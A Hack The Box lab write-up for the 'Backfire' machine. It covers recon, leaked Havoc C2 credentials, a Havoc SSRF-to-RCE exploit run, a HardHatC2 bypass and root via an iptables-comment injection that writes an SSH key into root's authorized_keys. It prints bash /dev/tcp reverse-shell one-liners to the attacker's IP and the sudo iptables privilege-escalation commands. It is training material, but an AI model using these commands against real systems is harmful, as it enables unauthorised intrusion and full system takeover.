Backfire - Hack The Box Machine

May 2025

User Flag

Starting with an nmap:

nmap -A 10.10.11.49
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
443/tcp  open  ssl/http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=partners inc/stateOrProvinceName=Washington/countryName=US
| Subject Alternative Name: IP Address:127.0.0.1
| Not valid before: 2024-10-29T16:22:39
|_Not valid after:  2027-10-29T16:22:39
| tls-alpn:
|_  http/1.1
8000/tcp open  http     nginx 1.22.1
| http-ls: Volume /
| SIZE  TIME               FILENAME
| 1559  17-Dec-2024 12:31  disable_tls.patch
| 875   17-Dec-2024 12:34  havoc.yaotl
|_
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.22.1
|_http-title: Index of /
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Visiting the nginx server on port 8000, I downloaded the 2 files disable_tls.patch and havoc.yaotl.

havoc.yaotl:

Teamserver {
    Host = "127.0.0.1"
    Port = 40056

    Build {
        Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "ilya" {
        Password = "CobaltStr1keSuckz!"
    }

    user "sergej" {
        Password = "1w4nt2sw1tch2h4rdh4tc2"
    }
}

Demon {
    Sleep = 2
    Jitter = 15

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

Listeners {
    Http {
        Name = "Demon Listener"
        Hosts = [
            "backfire.htb"
        ]
        HostBind = "127.0.0.1"
        PortBind = 8443
        PortConn = 8443
        HostRotation = "round-robin"
        Secure = true
    }
}

disable_tls.patch:

Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so
this will not compromize our teamserver

diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
 {
     Teamserver   = ConnectionInfo;
     Socket       = new QWebSocket();
-    auto Server  = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+    auto Server  = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
     auto SslConf = Socket->sslConfiguration();

     /* ignore annoying SSL errors */
     SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
-    Socket->setSslConfiguration( SslConf );
     Socket->ignoreSslErrors();

     QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
 		}

 		// start the teamserver
-		if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+		if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
 			logger.Error("Failed to start websocket: " + err.Error())
 		}

Havoc-C2-SSRF-to-RCE

python3 exp.py -t https://backfire.htb -i 127.0.0.1 -p 40056 -U ilya -P CobaltStr1keSuckz!

Open a listener nc -lvnp 4444:

[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!

Enter command to execute: bash -c 'bash -i >& /dev/tcp/10.10.16.88/4444 0>&1'

Got the shell on the listener and printed the first user flag.

Before heading to root, I realized I first need to get access to the sergej user.

HardHatC2-Bypass

Getting an admin account, and going to the /ImplantInteract endpoint, spawn a terminal and typing id we get the following output:

uid=1001(sergej) gid=1001(sergej) groups=1001(sergej),100(users)

Which confirms this service is being ran by sergej. To get a shell to this user, I simply ran the same reverse shell command bash -c 'bash -i >& /dev/tcp/10.10.16.88/4444 0>&1'.

Root Flag

Now that we have access to the sergej user,

image-20250502153050510

ssh-keygen -t ed25519
cat .ssh/id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIKG/nsj/UHlcobhZyLLc+Wfeg+ncecsqRT1T02B/BTE sergej@backfire
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'*/\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIKG/nsj/UHlcobhZyLLc+Wfeg+ncecsqRT1T02B/BTE sergej@backfire\n/*'

As we can see by running sudo iptables-save, the rules were poisoned with the generated public key

# Generated by iptables-save v1.8.9 (nf_tables) on Fri May  2 13:08:15 2025
*filter
:INPUT ACCEPT [27:2136]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [21:2914]
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "*/
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIKG/nsj/UHlcobhZyLLc+Wfeg+ncecsqRT1T02B/BTE sergej@backfire
/*" -j ACCEPT
COMMIT
# Completed on Fri May  2 13:08:15 2025
sudo iptables-save -f /root/.ssh/authorized_keys